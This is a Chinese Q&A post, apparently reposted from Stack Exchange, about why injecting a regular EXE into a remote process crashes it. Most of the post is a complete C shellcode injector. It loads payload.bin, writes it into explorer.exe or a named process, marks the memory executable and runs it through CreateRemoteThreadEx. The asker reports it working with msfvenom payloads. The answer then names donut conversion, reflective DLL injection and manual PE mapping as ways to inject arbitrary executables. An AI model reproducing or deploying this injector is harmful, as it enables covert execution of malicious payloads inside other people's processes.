为何向远程进程注入常规exe会导致进程崩溃?
进程注入中注入常规EXE文件导致目标进程崩溃的问题
现象
- 注入msfvenom生成的shellcode文件到任意进程,程序运行正常,达到预期效果;
- 注入任意常规.exe文件到同一进程时,目标进程每次都会崩溃。
异常细节
注入器返回执行成功,字节已通过Process Hacker确认成功复制到目标进程,但调用CreateRemoteThreadEx()返回有效ThreadID的情况下,目标进程仍会崩溃。
环境说明
使用64位Microsoft C/C++编译器编译的64位注入器,向64位进程注入64位代码,不存在位数不匹配问题。
完整代码
#ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif #include <windows.h> #include <tlhelp32.h> #include <stdio.h> #include <stdlib.h> #include <fileapi.h> #define okay(msg, ...) printf("[+] " msg " \n", ##__VA_ARGS__) #define fail(msg, ...) printf("[-] " msg " \n", ##__VA_ARGS__) #define info(msg, ...) printf("[!] " msg " \n", ##__VA_ARGS__) #define MAX_SHELLCODE_SIZE 4096 DWORD GetShellCode(LPVOID out) { HANDLE hFile = INVALID_HANDLE_VALUE; hFile = CreateFileA(".\\payload.bin", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { info("Unable to open payload file"); return 0; } DWORD fileSize = GetFileSize(hFile, NULL); if (fileSize == INVALID_FILE_SIZE) { info("Unable to get payload file size"); CloseHandle(hFile); return 0; } DWORD bytesRead; BOOL bSuccess = ReadFile(hFile, out, fileSize, (LPDWORD)&bytesRead, NULL); if (!bSuccess) { info("Unable to read payload file"); CloseHandle(hFile); return 0; } CloseHandle(hFile); return bytesRead; } DWORD GetTargetID(const char* pName) { HANDLE hSnapshot; PROCESSENTRY32 pEntry; DWORD pID = 0; hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { return 0; } pEntry.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, &pEntry) == FALSE) { CloseHandle(hSnapshot); return 0; } do { if (strcmp(pName, pEntry.szExeFile) == 0) { pID = pEntry.th32ProcessID; break; } } while (Process32Next(hSnapshot, &pEntry)); CloseHandle(hSnapshot); return pID; } int main(int argc, char *argv[]) { DWORD pID = 0, tID = 0; HANDLE pHandle; HANDLE tHandle; LPVOID xBuffer; if (argc < 2) { pID = GetTargetID("explorer.exe"); } else { pID = GetTargetID(argv[1]); if (pID == 0) { info("Injector was unable to find the process you specified."); return EXIT_FAILURE; } } UCHAR shellcode[MAX_SHELLCODE_SIZE] = {0}; DWORD codeSize = GetShellCode(shellcode); if (codeSize == 0) { fail("Failed to get shellcode from payload file."); return EXIT_FAILURE; } else { okay("Payload Size found : %ld", codeSize); } info("Injection Started. Opening remote process by ID: %ld ...", pID); pHandle = OpenProcess((PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ), FALSE, pID); if (pHandle == NULL) { fail("Unable to open remote process. Error: (%ld)", GetLastError()); } else { okay("Successfully opend the remote process with provided access."); info("Allocating %ld bytes of memory space to the target process.", codeSize); xBuffer = VirtualAllocEx(pHandle, NULL, codeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE); if (xBuffer == NULL) { fail("Unable to allocate virtual memory in the target process. Error: (%ld)", GetLastError()); } else { okay("Successfully allocated %ld bytes virtual memory space in the target process.", codeSize); int len = 0; info("Attempting to write shellcode into the allocated space (Address : 0x%p)", xBuffer); BOOL wrtSuccess = WriteProcessMemory(pHandle, xBuffer, (LPCVOID)shellcode, (SIZE_T)codeSize, (SIZE_T*)&len); if (!wrtSuccess) { fail("Unable to write shellcode to the allocated memory of the target process. Error: (%ld)", GetLastError()); } else { okay("Successfully copied %d bytes into the the target process.", len); DWORD oldProtection; BOOL bSuccess = VirtualProtectEx(pHandle, xBuffer, (SIZE_T)codeSize, PAGE_EXECUTE, &oldProtection); if (!bSuccess) { fail("Unable to change memory page protection status. Error: (%ld)", GetLastError()); } else { info("Attempting to start remote thread with the copied shellcode"); tHandle = CreateRemoteThreadEx(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)xBuffer, NULL, 0, 0, &tID); if (tHandle == NULL) { fail("Unable to create thread with the copied shellcode in the target process. Error: (%ud)", GetLastError()); } else { okay("Injection Successfull. Executed remote shellcode (ThreadID: %ld)", tID); CloseHandle(tHandle); } } } } CloseHandle(pHandle); } return EXIT_SUCCESS; }
原因分析
EXE并非可直接执行的裸机代码
msfvenom生成的shellcode是位置无关的裸机机器码,可以直接从起始地址开始执行;而常规EXE文件包含PE头、节表、导入表等复杂结构,文件开头并不是可执行的入口代码。直接把整个EXE写入目标进程内存并从起始地址执行,相当于让CPU执行PE头的二进制数据,必然触发非法指令或内存访问错误,导致进程崩溃。缺少PE加载器的初始化步骤
EXE正常运行需要系统加载器完成一系列工作:解析PE头、加载依赖DLL、重定位内存地址、初始化导入表等。直接注入整个EXE文件,没有这些加载步骤,代码中的内存引用(比如全局变量、函数调用)都是基于原EXE的预期内存布局,在目标进程中完全不匹配,执行时会访问无效内存。线程入口的上下文不匹配
CreateRemoteThreadEx的线程入口要求是符合标准函数调用约定的函数地址,而EXE的真实入口点(比如main或_start)依赖加载器初始化的环境(命令行参数、进程环境块PEB等),直接调用会因为缺少必要上下文而崩溃。
解决方向
如果要注入常规EXE的功能,不能直接注入整个EXE文件,可行方式包括:
- 将EXE转换为位置无关的shellcode:使用专门工具(如donut)把PE文件转换成可直接注入执行的shellcode;
- 反射式DLL注入:将EXE逻辑封装为DLL,注入DLL并调用导出函数,利用系统DLL加载机制处理依赖和重定位;
- 手动模拟PE加载:在目标进程中解析注入的PE文件,手动处理节加载、重定位、导入表解析等步骤,再跳转到真实入口点执行(实现复杂度较高)。
内容的提问来源于stack exchange,提问作者Tamonash Gupta
相关产品推荐
相关产品推荐

